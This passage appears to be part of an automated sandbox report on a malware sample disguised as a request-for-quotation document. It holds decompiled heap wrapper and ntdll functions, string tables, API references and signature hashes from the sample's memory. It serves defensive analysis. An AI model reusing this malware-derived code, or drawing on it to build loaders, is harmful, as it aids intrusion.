Instruction Fuzzy Hash: C5212BB2C442085BCB11E6609D42BFF736C9B14304F04017FE989A3181FA38AB498BA7

Uniqueness

Uniqueness Score: -1.00%

Function 004188B2, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E004188B2(long __eax, long __edx, void* __eflags, void* _a4, void* _a12, intOrPtr _a16) {
				void* __esi;
				void* __ebp;
				char _t10;
				void* _t11;
				long _t14;

				_t14 = __edx;
				_t9 = __eax;
				asm("in al, 0xbc");
				if(__eflags < 0) {
					L5:
					_t10 = RtlFreeHeap(_a12, _t9, _t14); // executed
					return _t10;
				} else {
					__edx = __edx - 1;
					__eflags = __edx;
					if(__edx >= 0) {
						_t1 =  &_a12; // 0x413526
						_t11 = RtlAllocateHeap( *_t1, __eax, _t14); // executed
						return _t11;
					} else {
						_t2 = __eax;
						__eax = __esp;
						__esp = _t2;
						asm("lahf");
						asm("adc eax, 0xec8b5522");
						__ebp = __esp;
						__eax = _a4;
						_t5 = __eax + 0xc74; // 0xc74
						__esi = _t5;
						__eax = E004191B0(__edi, _a4, _t5,  *((intOrPtr*)(__eax + 0x10)), 0, 0x35);
						__edx = _a16;
						__eax = _a12;
						goto L5;
					}
				}
			}

0x004188b2
0x004188b2
0x004188b2
0x004188b4
0x004188e2
0x004188ed
0x004188f1
0x004188b6
0x004188b6
0x004188b6
0x004188b7
0x004188a2
0x004188ad
0x004188b1
0x004188b9
0x004188bc
0x004188bc
0x004188bc
0x004188bd
0x004188be
0x004188c1
0x004188c3
0x004188cf
0x004188cf
0x004188d7
0x004188dc
0x004188df
0x00000000
0x004188df
0x004188b7

APIs

RtlAllocateHeap.NTDLL(&5A,?,00413C9F,00413C9F,?,00413526,?,?,?,?,?,00000000,00408B03,?), ref: 004188AD
RtlFreeHeap.NTDLL(00000060,00408B03,?,?,00408B03,00000060,00000000,00000000,?,?,00408B03,?,00000000), ref: 004188ED

Strings

&5A, xrefs: 004188A2, 004188AC

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID: Heap$AllocateFree
String ID: &5A
API String ID: 2488874121-1617645808
Opcode ID: 5e299ac77ae58507fd9bc2d960d527e4f7e15af213e0ee746cc9e9cc364df71a
Instruction ID: 21faa8085a24049ef03d89b99b5cc89d1db581f88278a81806d8b18de64a4b25
Opcode Fuzzy Hash: 5e299ac77ae58507fd9bc2d960d527e4f7e15af213e0ee746cc9e9cc364df71a
Instruction Fuzzy Hash: 36F067B12002146FD728EF69DC45EEB7369EF84324B51864AF90DAB251CA31E9548BB4

Uniqueness

Uniqueness Score: -1.00%

Function 00418880, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00418880(intOrPtr _a4, char _a8, long _a12, long _a16) {
				long _t9;
				void* _t10;
				long _t13;
				void* _t15;

				E004191B0(_t15, _a4, _a4 + 0xc70,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x34);
				_t13 = _a16;
				_t9 = _a12;
				_t6 =  &_a8; // 0x413526
				_t10 = RtlAllocateHeap( *_t6, _t9, _t13); // executed
				return _t10;
			}

0x00418897
0x0041889c
0x0041889f
0x004188a2
0x004188ad
0x004188b1

APIs

RtlAllocateHeap.NTDLL(&5A,?,00413C9F,00413C9F,?,00413526,?,?,?,?,?,00000000,00408B03,?), ref: 004188AD

Strings

&5A, xrefs: 004188A2, 004188AC

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: &5A
API String ID: 1279760036-1617645808
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: 4ef14f879dafae0d6951d5bd0a6bbd37283b7ec5dd2ccf2ca50cdce3f5cd3bdb
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: 6CE012B1200208ABDB14EF99CC45EA777ADAF88654F158559FA095B242CA30F910CAF4

Uniqueness

Uniqueness Score: -1.00%

Function 004188C0, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004188C0(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				long _t9;
				char _t10;
				void* _t13;
				void* _t15;

				_t3 = _a4 + 0xc74; // 0xc74
				E004191B0(_t15, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
				_t13 = _a16;
				_t9 = _a12;
				_t10 = RtlFreeHeap(_a8, _t9, _t13); // executed
				return _t10;
			}

0x004188cf
0x004188d7
0x004188dc
0x004188df
0x004188ed
0x004188f1

APIs

RtlFreeHeap.NTDLL(00000060,00408B03,?,?,00408B03,00000060,00000000,00000000,?,?,00408B03,?,00000000), ref: 004188ED

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: 8f9b7065ee004bfc107c5e1a3206d22b1dba8f53d1ba42c3d4a522b3320012f0
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: C0E012B1200208ABDB18EF99CC49EA777ADAF88750F018559FA095B242CA30E910CAF4

Uniqueness

Uniqueness Score: -1.00%

Function 00A5967A, Relevance: 1.5, APIs: 1, Instructions: 8
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 00A59694

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 58ae18251e286a487975354e091e46602f0bdb9aa7d09d2dc58ea3121462084e
Instruction ID: 945a714f111609a382a60f3185fa051e5cbae16d842d86037fbe94dd3358aa8b
Opcode Fuzzy Hash: 58ae18251e286a487975354e091e46602f0bdb9aa7d09d2dc58ea3121462084e
Instruction Fuzzy Hash: 9CB09B71D014C5D5D711D7714608717795077D0741F16C061D1020681B4778C495F5B6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00ACB260, Relevance: 37.8, Strings: 30, Instructions: 262COMMON

Download Yara Rule

Strings

*** then kb to get the faulting stack, xrefs: 00ACB51C
read from, xrefs: 00ACB4AD, 00ACB4B2
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 00ACB38F
The resource is owned shared by %d threads, xrefs: 00ACB37E
The critical section is owned by thread %p., xrefs: 00ACB3B9
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 00ACB3D6
The instruction at %p referenced memory at %p., xrefs: 00ACB432
The instruction at %p tried to %s , xrefs: 00ACB4B6
<unknown>, xrefs: 00ACB27E, 00ACB2D1, 00ACB350, 00ACB399, 00ACB417, 00ACB48E
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 00ACB39B
*** enter .exr %p for the exception record, xrefs: 00ACB4F1
*** Resource timeout (%p) in %ws:%s, xrefs: 00ACB352
Go determine why that thread has not released the critical section., xrefs: 00ACB3C5
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 00ACB47D
*** An Access Violation occurred in %ws:%s, xrefs: 00ACB48F
a NULL pointer, xrefs: 00ACB4E0
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 00ACB305
*** A stack buffer overrun occurred in %ws:%s, xrefs: 00ACB2F3
an invalid address, %p, xrefs: 00ACB4CF
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 00ACB2DC
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 00ACB484
The resource is owned exclusively by thread %p, xrefs: 00ACB374
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 00ACB323
*** enter .cxr %p for the context, xrefs: 00ACB50D
*** Inpage error in %ws:%s, xrefs: 00ACB418
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 00ACB314
This failed because of error %Ix., xrefs: 00ACB446
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 00ACB53F
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 00ACB476
write to, xrefs: 00ACB4A6

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 0-108210295
Opcode ID: e73067be807db23d38efb7f1368ddb22d8d3dc4c650a5338f18a93e329714fb6
Instruction ID: bf8abc07ba60339e7358a8c0f9ca8da96016c614a6b1f8bb0d8f782ee202f930
Opcode Fuzzy Hash: e73067be807db23d38efb7f1368ddb22d8d3dc4c650a5338f18a93e329714fb6
Instruction Fuzzy Hash: A481F036A50214FFDB25AB55AD87E7F3B35AF47B51F024848F0052B2D3E3628811DAB6

Uniqueness

Uniqueness Score: -1.00%

Function 00AD1C06, Relevance: 31.4, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00AD1C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x9f48a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E00A1B150();
				} else {
					E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0xb0589c);
				E00A1B150("Heap error detected at %p (heap handle %p)\n",  *0xb058a0);
				_t27 =  *0xb05898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M00AD1E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E00A1B150();
				} else {
					E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E00A1B150("Error code: %d - %s\n",  *0xb05898);
				_t113 =  *0xb058a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00A1B150();
					} else {
						E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E00A1B150("Parameter1: %p\n",  *0xb058a4);
				}
				_t115 =  *0xb058a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00A1B150();
					} else {
						E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E00A1B150("Parameter2: %p\n",  *0xb058a8);
				}
				_t117 =  *0xb058ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00A1B150();
					} else {
						E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E00A1B150("Parameter3: %p\n",  *0xb058ac);
				}
				_t119 =  *0xb058b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00A1B150();
					} else {
						E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0xb058b4);
					E00A1B150("Last known valid blocks: before - %p, after - %p\n",  *0xb058b0);
				} else {
					_t120 =  *0xb058b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E00A1B150();
				} else {
					E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E00A1B150("Stack trace available at %p\n", 0xb058c0);
			}

0x00ad1c10
0x00ad1c16
0x00ad1c1e
0x00ad1c3d
0x00ad1c3e
0x00ad1c20
0x00ad1c35
0x00ad1c3a
0x00ad1c44
0x00ad1c55
0x00ad1c5a
0x00ad1c65
0x00ad1c67
0x00000000
0x00ad1c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00ad1c67
0x00ad1cdc
0x00ad1ce5
0x00ad1d04
0x00ad1d05
0x00ad1ce7
0x00ad1cfc
0x00ad1d01
0x00ad1d0b
0x00ad1d17
0x00ad1d1f
0x00ad1d25
0x00ad1d30
0x00ad1d4f
0x00ad1d50
0x00ad1d32
0x00ad1d47
0x00ad1d4c
0x00ad1d61
0x00ad1d67
0x00ad1d68
0x00ad1d6e
0x00ad1d79
0x00ad1d98
0x00ad1d99
0x00ad1d7b
0x00ad1d90
0x00ad1d95
0x00ad1daa
0x00ad1db0
0x00ad1db1
0x00ad1db7
0x00ad1dc2
0x00ad1de1
0x00ad1de2
0x00ad1dc4
0x00ad1dd9
0x00ad1dde
0x00ad1df3
0x00ad1df9
0x00ad1dfa
0x00ad1e00
0x00ad1e0a
0x00ad1e13
0x00ad1e32
0x00ad1e33
0x00ad1e15
0x00ad1e2a
0x00ad1e2f
0x00ad1e39
0x00ad1e4a
0x00ad1e02
0x00ad1e02
0x00ad1e08
0x00000000
0x00000000
0x00ad1e08
0x00ad1e5b
0x00ad1e7a
0x00ad1e7b
0x00ad1e5d
0x00ad1e72
0x00ad1e77
0x00ad1e95

Strings

Parameter1: %p, xrefs: 00AD1D5C
heap_failure_invalid_allocation_type, xrefs: 00AD1CB4
heap_failure_listentry_corruption, xrefs: 00AD1CD0
heap_failure_unknown, xrefs: 00AD1C75
HEAP[%wZ]: , xrefs: 00AD1C30, 00AD1CF7, 00AD1D42, 00AD1D8B, 00AD1DD4, 00AD1E25, 00AD1E6D
heap_failure_freelists_corruption, xrefs: 00AD1CC9
heap_failure_buffer_overrun, xrefs: 00AD1C98
heap_failure_generic, xrefs: 00AD1C7C
heap_failure_usage_after_free, xrefs: 00AD1CBB
heap_failure_cross_heap_operation, xrefs: 00AD1CC2
Heap error detected at %p (heap handle %p), xrefs: 00AD1C50
heap_failure_invalid_argument, xrefs: 00AD1CAD
Last known valid blocks: before - %p, after - %p, xrefs: 00AD1E45
heap_failure_block_not_busy, xrefs: 00AD1CA6
heap_failure_virtual_block_corruption, xrefs: 00AD1C91
Parameter3: %p, xrefs: 00AD1DEE
heap_failure_entry_corruption, xrefs: 00AD1C83
HEAP: , xrefs: 00AD1C16, 00AD1C3D, 00AD1D04, 00AD1D4F, 00AD1D98, 00AD1DE1, 00AD1E32, 00AD1E7A
heap_failure_lfh_bitmap_mismatch, xrefs: 00AD1CD7
Stack trace available at %p, xrefs: 00AD1E86
Error code: %d - %s, xrefs: 00AD1D12
Parameter2: %p, xrefs: 00AD1DA5
heap_failure_buffer_underrun, xrefs: 00AD1C9F
heap_failure_multiple_entries_corruption, xrefs: 00AD1C8A
heap_failure_internal, xrefs: 00AD1C6E

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 0-2897834094
Opcode ID: 07031d65e0ae181b0944fa9b57dd024aae6e5effa11fc01b7ae172c0900a8b1e
Instruction ID: 7f69072bc37cd6d027cec649f0e013ddba719e02508f82ff59c2fcd576626624
Opcode Fuzzy Hash: 07031d65e0ae181b0944fa9b57dd024aae6e5effa11fc01b7ae172c0900a8b1e
Instruction Fuzzy Hash: 9D61D232570648FFD311DB84F995D3173B4EB08B20B1A887BF80A5B792DB259C909F19

Uniqueness

Uniqueness Score: -1.00%

Function 00A4C9BF, Relevance: 14.2, Strings: 11, Instructions: 412
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00A4C9BF(signed int __ecx, signed int __edx, signed int _a4, intOrPtr _a12) {
				signed int _v12;
				char _v552;
				char _v1072;
				char _v1073;
				signed int _v1080;
				signed int _v1084;
				signed short _v1088;
				signed int _v1092;
				signed short _v1094;
				char _v1096;
				char _v1100;
				intOrPtr _v1104;
				signed int _v1108;
				char _v1112;
				char _v1116;
				signed short _v1120;
				char _v1124;
				char* _v1128;
				char _v1132;
				char _v1135;
				char _v1136;
				signed int _v1140;
				char _v1144;
				intOrPtr _v1148;
				short _v1150;
				char _v1152;
				signed int _v1156;
				char* _v1160;
				char _v1164;
				signed int _v1168;
				signed int _v1172;
				intOrPtr _v1176;
				intOrPtr _v1180;
				char _v1184;
				signed int _v1188;
				signed int _v1192;
				intOrPtr _v1196;
				char* _v1200;
				intOrPtr _v1204;
				char _v1208;
				char _v1216;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t166;
				void* _t184;
				signed short _t188;
				char _t199;
				intOrPtr _t200;
				signed int _t205;
				signed int _t207;
				intOrPtr _t218;
				short _t219;
				char _t236;
				char _t242;
				signed int _t253;
				intOrPtr _t258;
				void* _t260;
				signed int _t272;
				void* _t276;
				unsigned int _t277;
				signed short _t279;
				signed int _t280;
				void* _t281;
				void* _t305;

				_t271 = __edx;
				_v12 =  *0xb0d360 ^ _t280;
				_t253 = _a4;
				_v1104 = _a12;
				_t272 = __ecx;
				_v1160 =  &_v1072;
				_v1168 = __ecx;
				_t166 = 0;
				_v1073 = 0;
				_v1084 = 0;
				_t274 = 0;
				_v1156 = 0;
				_v1164 = 0x2080000;
				_v1096 = 0;
				_v1092 = 0;
				_v1112 = 0;
				_v1108 = 0;
				_v1100 = 0;
				if(__ecx == 0) {
					L67:
					_push(_t166);
					_push(_t253);
					_push(_t271);
					_push(_t272);
					L00AA5720(0x33, 0, "SXS: %s() bad parameters\nSXS:   Map                : %p\nSXS:   Data               : %p\nSXS:   AssemblyRosterIndex: 0x%lx\nSXS:   Map->AssemblyCount : 0x%lx\n", "RtlpResolveAssemblyStorageMapEntry");
					_t274 = 0xc000000d;
					L21:
					if(_v1073 == 0) {
						L23:
						if(_v1092 != 0) {
							E00A1AD30(_v1092);
						}
						L24:
						if(_v1084 != 0) {
							_push(_v1084);
							E00A595D0();
						}
						_t170 = _v1156;
						if(_v1156 != 0) {
							L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t170);
						}
						L26:
						return L00A5B640(_t274, _t253, _v12 ^ _t280, _t271, _t272, _t274);
					}
					L22:
					_v1144 = _v1100;
					E00A4CCC0(4,  &_v1144, _v1104);
					goto L23;
				}
				if(__edx == 0 || _t253 < 1 || _t253 >  *((intOrPtr*)(__ecx + 4))) {
					_t166 =  *((intOrPtr*)(_t272 + 4));
					goto L67;
				} else {
					if( *((intOrPtr*)( *((intOrPtr*)(__ecx + 8)) + _t253 * 4)) != 0) {
						goto L26;
					}
					asm("lfence");
					_t258 =  *((intOrPtr*)(__edx + 0x18));
					_t260 =  *((intOrPtr*)(_t258 + __edx + 0x10)) + __edx;
					_t276 =  *((intOrPtr*)(_t253 * 0x18 +  *((intOrPtr*)(_t258 + __edx + 0xc)) + __edx + 0x10)) + __edx;
					_t181 =  *((intOrPtr*)(_t276 + 0x50));
					if( *((intOrPtr*)(_t276 + 0x50)) > 0xfffe) {
						_push(__edx);
						L00AA5720(0x33, 0, "SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p\n", _t181);
						_t274 = 0xc0000106;
						goto L23;
					}
					if(( *(_t276 + 4) & 0x00000010) != 0) {
						_v1080 =  &_v1164;
						_t272 =  *((intOrPtr*)(_t276 + 0x18)) + _t260;
						if(_t272 != 0) {
							_t184 = L00A613D0(_t272, 0x5c);
							if(_t184 != 0) {
								_t188 = 0x00000004 + (_t184 - _t272 >> 0x00000001) * 0x00000002 & 0x0000ffff;
								_v1088 = _t188;
								_t277 = _t188 & 0x0000ffff;
								if(_t188 <= 0x208) {
									_t264 = _v1080;
									L39:
									E00A5F3E0( *((intOrPtr*)(_t264 + 4)), _t272, _t277 - 2);
									_t281 = _t281 + 0xc;
									 *((short*)( *((intOrPtr*)(_v1080 + 4)) + (_t277 >> 1) * 2 - 2)) = 0;
									 *_v1080 = _v1088 + 0xfffffffe;
									L18:
									if(_v1084 == 0) {
										if(E00A26A00( *((intOrPtr*)(_v1080 + 4)),  &_v1112, 0,  &_v1184) != 0) {
											_v1156 = _v1108;
											_t199 = _v1184;
											if(_t199 == 0) {
												_t200 = 0;
											} else {
												_v1112 = _t199;
												_v1108 = _v1180;
												_t200 = _v1176;
											}
											_v1192 = _v1192 & 0x00000000;
											_v1188 = _v1188 & 0x00000000;
											_v1204 = _t200;
											_push(0x21);
											_v1200 =  &_v1112;
											_push(3);
											_push( &_v1216);
											_v1208 = 0x18;
											_push( &_v1208);
											_push(0x100020);
											_v1196 = 0x40;
											_push( &_v1084);
											_t205 = E00A59830();
											_t272 = _v1172;
											_t274 = _t205;
											if(_t272 != 0) {
												asm("lock xadd [edi], eax");
												if((_t205 | 0xffffffff) == 0) {
													_push( *((intOrPtr*)(_t272 + 4)));
													E00A595D0();
													L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t272);
												}
											}
											if(_t274 >= 0) {
												goto L19;
											} else {
												_push(_t274);
												L00AA5720(0x33, 0, "SXS: Unable to open assembly directory under storage root \"%S\"; Status = 0x%08lx\n",  *((intOrPtr*)(_v1080 + 4)));
												goto L21;
											}
										}
										L00AA5720(0x33, 0, "SXS: Attempt to translate DOS path name \"%S\" to NT format failed\n",  *((intOrPtr*)(_v1080 + 4)));
										_t274 = 0xc000003a;
										goto L21;
									}
									L19:
									_t271 = _t253;
									_t207 = L00A4CE6C(_v1168, _t253, _v1080,  &_v1084);
									_t274 = _t207;
									if(_t207 < 0) {
										L00AA5720(0x33, 0, "SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx\n", _t274);
									} else {
										_t274 = 0;
									}
									goto L21;
								}
								_v1094 = _t188;
								_t218 = E00A33A1C(_t277);
								_v1092 = _t218;
								if(_t218 != 0) {
									_t264 =  &_v1096;
									_v1080 =  &_v1096;
									goto L39;
								}
								_t274 = 0xc0000017;
								goto L24;
							}
							_t274 = 0xc00000e5;
							goto L23;
						}
						_t274 = 0xc00000e5;
						goto L26;
					}
					_v1080 = _v1080 & 0x00000000;
					_t219 =  *((intOrPtr*)(_t276 + 0x50));
					_v1152 = _t219;
					_v1150 = _t219;
					_v1144 = __edx;
					_v1148 =  *((intOrPtr*)(_t276 + 0x54)) + _t260;
					_v1140 = _t253;
					_v1128 =  &_v552;
					_v1136 = 0;
					_v1132 = 0x2160000;
					_v1124 = 0;
					_v1116 = 0;
					_v1120 = 0;
					E00A4CCC0(1,  &_v1144, _v1104);
					if(_v1116 != 0) {
						_t274 = 0xc0000120;
						goto L23;
					}
					if(_v1124 != 0) {
						_t271 =  &_v1132;
						_t274 = L00A4CF6A( &_v1132,  &_v1152,  &_v1164,  &_v1096,  &_v1080,  &_v1084);
						if(_t274 >= 0) {
							_t271 = _t253;
							_t274 = L00A4CE6C(_t272, _t253,  &_v1132,  &_v1084);
							if(_t274 < 0) {
								_push(_t274);
								_push(_t253);
								_push("SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx\n");
								L44:
								_push(0);
								_push(0x33);
								L00AA5720();
								goto L23;
							}
							_t274 = 0;
							goto L23;
						}
						_push(_t274);
						_push( &_v1132);
						_push("SXS: Attempt to probe known root of assembly storage (\"%wZ\") failed; Status = 0x%08lx\n");
						goto L44;
					}
					_t279 = _v1120;
					_t272 = 0;
					_t236 = _v1136;
					_v1100 = _t236;
					_v1088 = _t279;
					_v1073 = 1;
					if(_t279 == 0) {
						L16:
						_t305 = _t272 - _t279;
						L17:
						if(_t305 == 0) {
							L54:
							_push(_t272);
							L00AA5720(0x33, 0, "SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries\n",  &_v1152);
							_t274 = 0xc0150004;
							goto L22;
						}
						goto L18;
					} else {
						goto L10;
					}
					while(1) {
						L10:
						_v1144 = _t236;
						_v1128 =  &_v552;
						_v1140 = _t272;
						_v1132 = 0x2160000;
						_v1136 = 0;
						E00A4CCC0(2,  &_v1144, _v1104);
						if(_v1136 != 0) {
							break;
						}
						_t242 = _v1132;
						if(_v1135 != 0) {
							if(_t242 == 0) {
								goto L54;
							}
							_t119 = _t272 + 1; // 0x1
							_t279 = _t119;
							_v1088 = _t279;
						}
						if(_t242 == 0) {
							L27:
							_t272 = _t272 + 1;
							if(_t272 >= _t279) {
								goto L17;
							} else {
								_t236 = _v1100;
								continue;
							}
						}
						if(_v1084 != 0) {
							_push(_v1084);
							E00A595D0();
							_v1084 = _v1084 & 0x00000000;
						}
						_t271 =  &_v1132;
						_t274 = L00A4CF6A( &_v1132,  &_v1152,  &_v1164,  &_v1096,  &_v1080,  &_v1084);
						if(_t274 < 0) {
							if(_t274 != 0xc0150004) {
								_push(_t274);
								_push( &_v1152);
								L00AA5720(0x33, 0, "SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx\n",  &_v1132);
								goto L22;
							}
							_t279 = _v1088;
							goto L27;
						} else {
							_t279 = _v1088;
							goto L16;
						}
					}
					_t274 = 0xc0000120;
					goto L22;
				}
			}

0x00a4c9bf
0x00a4c9d1
0x00a4c9d8
0x00a4c9dc
0x00a4c9e9
0x00a4c9eb
0x00a4c9f3
0x00a4c9f9
0x00a4c9fb
0x00a4ca01
0x00a4ca07
0x00a4ca09
0x00a4ca0f
0x00a4ca19
0x00a4ca1f
0x00a4ca25
0x00a4ca2b
0x00a4ca31
